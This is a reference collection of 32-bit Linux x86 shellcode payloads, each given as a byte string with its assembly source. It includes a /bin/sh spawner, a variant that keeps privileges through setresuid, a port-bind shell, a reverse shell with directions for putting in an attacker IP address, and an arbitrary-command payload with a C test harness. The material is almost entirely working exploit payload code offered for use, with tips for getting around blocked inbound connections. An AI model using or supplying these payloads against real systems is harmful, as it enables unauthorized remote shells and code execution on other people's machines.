Shellcode
Execve
/* Extracted shellcode (24 bytes): */
char shellcode[] =
\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80;
This piece of shellcode calls /bin/sh to the rescue.
Assembly code
BITS 32
section .code
global _start
_start:
xor eax, eax
cdq
push eax
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
Geteuid + Seteuid + Execve
/* Extracted shellcode (47 bytes): */
char shellcode[] =
\x31\xc0\x99\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0
\xb0\xa4\xcd\x80\x31\xc0\x99\x31\xc9\x31\xd2\x50\x68\x6e\x2f
\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b
\xcd\x80;
This code will grab the effective uid of the process, pass it to setresuid and then call /bin/sh.
Assembly code
BITS 32
section .code
global _start
_start:
xor eax, eax
cdq
; Call geteuid()
mov al, 49
int 0x80
; Call setresuid() with the value
; returned by getuid()
mov ebx, eax
mov ecx, eax
mov edx, eax
xor eax, eax
mov al, 164
int 0x80
; Execute /bin/sh
xor eax, eax
cdq
xor ecx, ecx
xor edx, edx
push eax
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
Morning!
/* Extracted shellcode (34 bytes): */
char shellcode[] =
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x6a\x0a\x68\x69\x6e\x67\x21
\x68\x4d\x6f\x72\x6e\x89\xe1\xb2\x09\xb3\x01\xb0\x04\xcd\x80
\xb0\x01\xcd\x80;
Prints Morning!
on the standard output stream and exits with exit code 1.
Assembly code
BITS 32
section .code
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 0x0a
push 0x21676e69
push 0x6e726f4d
mov ecx, esp
mov dl, 9
mov bl, 1
mov al, 0x4
int 0x80
mov al, 0x1
int 0x80
Port Bind
/* Extracted shellcode (97 bytes): */
char shellcode[] =
\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0
\x66\xcd\x80\x89\xc6\x52\x68\xaa\x02\xaa\xaa\x89\xe1\x6a\x10
\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a\x01\x56\x89\xe1
\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66
\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75
\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52
\x53\x89\xe1\xb0\x0b\xcd\x80;
Good old port bind shellcode. If the server rejects your connection, use a reverse shell instead.
The shellcode binds to port 43690, which is AAAA in hex. The bytes corresponding to the port are \xaa\xaa
on the second line.
Assembly code
BITS 32
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
cdq
;Socket
push eax
push byte 0x1
push byte 0x2
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov esi, eax
;Bind
push edx
push dword 0xAAAA02AA
mov ecx, esp
push byte 0x10
push ecx
push esi
mov ecx, esp
inc bl
mov al, 102
int 0x80
;Listen (Connections = 1)
push byte 0x1
push esi
mov ecx, esp
mov bl, 0x4
mov al, 102
int 0x80
;Accept
push edx
push edx
push esi
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov ebx, eax
;Duplicate channels
xor ecx, ecx
mov cl, 3
dup:
dec cl
mov al, 63
int 0x80
jnz dup
;Execute the shell
push edx
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
Reverse Shell
/* Extracted shellcode (83 bytes): */
char shellcode[] =
\x31\xc0\x31\xdb\x99\x52\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0
\x66\xcd\x80\x89\xc6\x52\x68\x7f\x00\x00\x01\xb9\xfd\xff\x55
\x55\xf7\xd1\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0
\x66\xcd\x80\x89\xf3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80
\x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3
\x52\x53\x89\xe1\xb0\x0b\xcd\x80;
A reverse shell shellcode, for when incoming traffic into the server is blocked.
It will probably not work in its current stage since it attempts to connect to 127.0.0.1, therefore containing two null values.
The bytes \x7f\x00\x00\x01
on the second line correspond to the IP address to connect to. Change these values accordingly. For instance, if you wanted the shell to connect to 1.2.3.4, you would change those four bytes to the following: \x01\x02\x03\x04.
Assembly code
BITS 32
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
cdq
;Socket
push edx
push byte 0x1
push byte 0x2
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov esi, eax
;Connect to 127.0.0.1 / Shellcode will obviously
;not work for 127.0.0.1 since it will contain two
;null values.
;push dword 0xAAAA0002
;NOT 0x5555FFFD = 0xAAAA0002
push edx
push dword 0x0100007F
mov ecx, 0x5555FFFD
not ecx
push ecx
mov ecx, esp
push byte 0x10
push ecx
push esi
mov ecx, esp
mov bl, 3
mov al, 102
int 0x80
;Duplicate channels
mov ebx, esi
xor ecx, ecx
mov cl, 3
dup:
dec cl
mov al, 63
int 0x80
jnz dup
;Execute the shell
push edx
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
Run Command
/* Extracted shellcode (46 bytes): */
char shellcode[] =
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3
\x50\x66\x68\x2d\x63\x89\xe1\xeb\x0d\x5a\x50\x52\x51\x53\x89
\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff
**your command here**;
The runcmd shellcode will run a command of your choice.
All you need to do is replace your command here with your command. For instance, if we wanted to run date, we would type in the following in a file:
char shellcode[] =
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3
\x50\x66\x68\x2d\x63\x89\xe1\xeb\x0d\x5a\x50\x52\x51\x53\x89
\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff
date;
int main(void)
{
void (*func)();
func = (void (*)()) shellcode;
(void)(*func)();
}
Next we compile with gcc:
gcc date.c -o date
And run the program to get the following results:
Sat Aug 21 13:10:46 CEST 2010
Assembly code
BITS 32
section .text
global _start
_start:
xor eax, eax
push eax
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx, esp
push eax
push word 0x632d
mov ecx, esp
jmp short get_cmd
code:
pop edx
push eax
push edx
push ecx
push ebx
mov ecx, esp
xor edx, edx
mov al, 0x0b
int 0x80
get_cmd:
call code
db 'date'